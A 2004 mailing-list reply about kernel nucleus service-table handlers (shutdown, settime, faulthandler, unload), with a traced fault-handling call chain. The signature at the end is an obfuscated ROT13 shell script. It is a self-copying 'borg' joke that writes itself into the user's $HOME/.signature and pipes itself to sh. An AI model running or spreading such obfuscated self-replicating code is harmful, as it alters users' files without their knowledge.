On Tue, Aug 03, 2004 at 06:03:53PM +0200, Philippe Gerum wrote:
> > .shutdown = not really used atm?
> Can be used by skins to intercept any shutdown request kicked by the
> nucleus itself or some other skin, and perform some housekeeping chores
> before linking to xnpod_shutdown() themselves (provides for a simple
> daisy chain mechanism).
I understand the concept of daisy chaining the shutdown (it's documented
:), but I can find no call of nkpod->svctable.shutdown in the nucleus.
(I've made a fulltest search of 'shutdown' over fusion, but found only
things like 'pod.svctable.shutdown = &pse51_shutdown;')
> > .settime = not really used atm?
> Same as above for changing the nucleus's idea of time. e.g. your skin
> might be interested in knowing of internal calls changing the current
> time using the nucleus API, and not the skin one.
Same as above, I've found no call of svctable.sttime in the nucleus :)
> > .faulthandler = if a trap is rised by the cpu, and a xnthread is active
> Yes, but a thread is not necessarily active at that moment. The handler
> should take care of identifying the faulting context.
Hmm - After winding though about 4-5 layers[1]....this function calls
the svctable.faulthandler, only if a xnthread is active.
int xnpod_trap_fault (void *fltinfo)
{
if (nkpod == NULL || xnpod_idle_p())
return 0;
return nkpod->svctable.faulthandler(fltinfo);
}
> > .unload = if another pod should be loaded, the current is ased to
> > shutdown (used by fusion)
> Yes. This one has been designed to allow skins to pop out the fusion
> skin since it is loaded by default, before installing themselves. Some
> may simply recycle it and install over it, like the new native API does.
this is a nice feature :)
> > What about the .shutdown and .settime handlers, are they
> > going to be used in the future, or even deleted?
> Nope. Look at the pSOS skin for instance.
okay they are used, but they have no effect, cause ne nucleus never
calls them. My new question is: Will the nucleus call in the future the
svctable.settime .shutdown handlers?
regards - Marc
[1] From there fault to the handling.....
1)
rthal catches all HW faults from adeos:
adeos_catch_event(trapnr,&rthal_trap_fault);
2)
rthal_trap_fault calls rthal_trap_handler if in RT-mode
note: rthal_trap_handler is a functionpointer
3)
rthal_trap_handler is set by rthal_set_trap_handler
4)
during xnarch_init():
rthal_set_trap_handler(&xnarch_trap_fault);
5)
in xnarch_trap_fault():
xnpod_trap_fault() is called
6)
xnpod_trap_fault() finally calls the faulthandler defined in the
svctable
note: steps 1, 3, 4 are done during system-setup, not runtime
during faul-runtime its:
adeos -> rthal_trap_fault -> xnarch_trap_fault -> xnpod_trap_fault ->
svctable.faulthandler
--
#!/bin/sh
set - `type $0` 'tr "[a-zA-Z]" "[n-za-mN-ZA-M]"';while [ "$2" != "" ];do \
shift;done; echo 'frq -a -rc '`echo "$0"| $1 `'>$UBZR/.`rpub signature|'`\
echo $1|$1`'`;rpub "Jr ner fvtangher bs obet. Erfvfgnapr vf shgvyr!"'|$1|sh
